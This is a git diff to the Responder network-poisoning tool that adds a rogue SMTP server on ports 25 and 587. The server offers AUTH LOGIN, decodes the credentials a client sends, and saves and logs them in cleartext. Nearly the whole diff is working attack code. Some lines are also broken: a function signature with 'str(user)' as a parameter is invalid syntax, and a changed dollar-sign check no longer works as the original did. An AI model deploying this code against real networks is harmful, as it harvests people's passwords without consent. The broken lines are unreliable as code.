diff --git a/Responder.conf b/Responder.conf index 3fa3117..f98f1b1 100644 --- a/Responder.conf +++ b/Responder.conf @@ -5,6 +5,8 @@ SQL = On SMB = On FTP = On POP = On +;;Listen on 25/TCP, 587/TCP +SMTP = On HTTP = On HTTPS = On DNS = On diff --git a/Responder.py b/Responder.py index ed41631..65f1dbe 100644 --- a/Responder.py +++ b/Responder.py @@ -62,6 +62,7 @@ SMB_On_Off = config.get('Responder Core', 'SMB').upper() SQL_On_Off = config.get('Responder Core', 'SQL').upper() FTP_On_Off = config.get('Responder Core', 'FTP').upper() POP_On_Off = config.get('Responder Core', 'POP').upper() +SMTP_On_Off = config.get('Responder Core', 'SMTP').upper() LDAP_On_Off = config.get('Responder Core', 'LDAP').upper() DNS_On_Off = config.get('Responder Core', 'DNS').upper() NumChal = config.get('Responder Core', 'Challenge') @@ -131,7 +132,7 @@ def WriteData(outfile,data, user): if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False - if re.search("\$", user): + if re.search("$".encode('hex'), user): filestr.close() return False else: @@ -140,7 +141,7 @@ def WriteData(outfile,data, user): outf2.write("\n") outf2.close() -def PrintData(outfile,user): +def PrintData(outfile,str(user)): if Verbose == True: return True if os.path.isfile(outfile) == True: @@ -161,7 +162,7 @@ Challenge = "" for i in range(0,len(NumChal),2): Challenge += NumChal[i:i+2].decode("hex") -Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nPOP3 Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,POP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) +Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) #Simple NBNS Services. W_REDIRECT = "\x41\x41\x00" @@ -1555,6 +1556,37 @@ class POP(BaseRequestHandler): except Exception: pass +################################################################################## +#ESMTP Stuff +################################################################################## +from SMTPPackets import * + +#ESMTP server class. +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreating())) + data = self.request.recv(1024) + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + if data: + Username = b64decode(data[:len(data)-2]) + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + if data: + Password = b64decode(data[:len(data)-2]) + Outfile = os.path.join(ResponderPATH,"SMTP-Clear-Text-Password-"+self.client_address[0]+".txt") + WriteData(Outfile,Username+":"+Password, Username+":"+Password) + print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) + logging.warning("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)) + + except Exception: + pass ################################################################################## #Loading the servers @@ -1619,6 +1651,13 @@ def Is_LDAP_On(LDAP_On_Off): if LDAP_On_Off == "OFF": return False +#Function name self-explanatory +def Is_SMTP_On(SMTP_On_Off): + if SMTP_On_Off == "ON": + return thread.start_new(serve_thread_tcp,('', 25,ESMTP)),thread.start_new(serve_thread_tcp,('', 587,ESMTP)) + if SMTP_On_Off == "OFF": + return False + #Function name self-explanatory def Is_DNS_On(DNS_On_Off): if DNS_On_Off == "ON": @@ -1682,6 +1721,7 @@ def main(): Is_LDAP_On(LDAP_On_Off) Is_DNS_On(DNS_On_Off) Is_POP_On(POP_On_Off) + Is_SMTP_On(SMTP_On_Off) #Browser listener loaded by default thread.start_new(serve_thread_udp,('', 138,Browser)) ## Poisoner loaded by default, it's the purpose of this tool... diff --git a/SMTPPackets.py b/SMTPPackets.py new file mode 100644 index 0000000..e38e822 --- /dev/null +++ b/SMTPPackets.py @@ -0,0 +1,74 @@ +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2013 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#SMTP Greating class +class SMTPGreating(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "smtp01.local ESMTP"), + ("CRLF", "\x0d\x0a"), + ]) + +class SMTPAUTH(Packet): + fields = OrderedDict([ + ("Code0", "250"), + ("Separator0", "\x2d"), + ("Message0", "smtp01.local"), + ("CRLF0", "\x0d\x0a"), + ("Code", "250"), + ("Separator", "\x20"), + ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), + ("CRLF", "\x0d\x0a"), + ]) + +class SMTPAUTH1(Packet): + fields = OrderedDict([ + ("Code", "334"), + ("Separator", "\x20"), + ("Message", "VXNlcm5hbWU6"),#Username + ("CRLF", "\x0d\x0a"), + + ]) + +class SMTPAUTH2(Packet): + fields = OrderedDict([ + ("Code", "334"), + ("Separator", "\x20"), + ("Message", "UGFzc3dvcmQ6"),#Password + ("CRLF", "\x0d\x0a"), + + ]) + +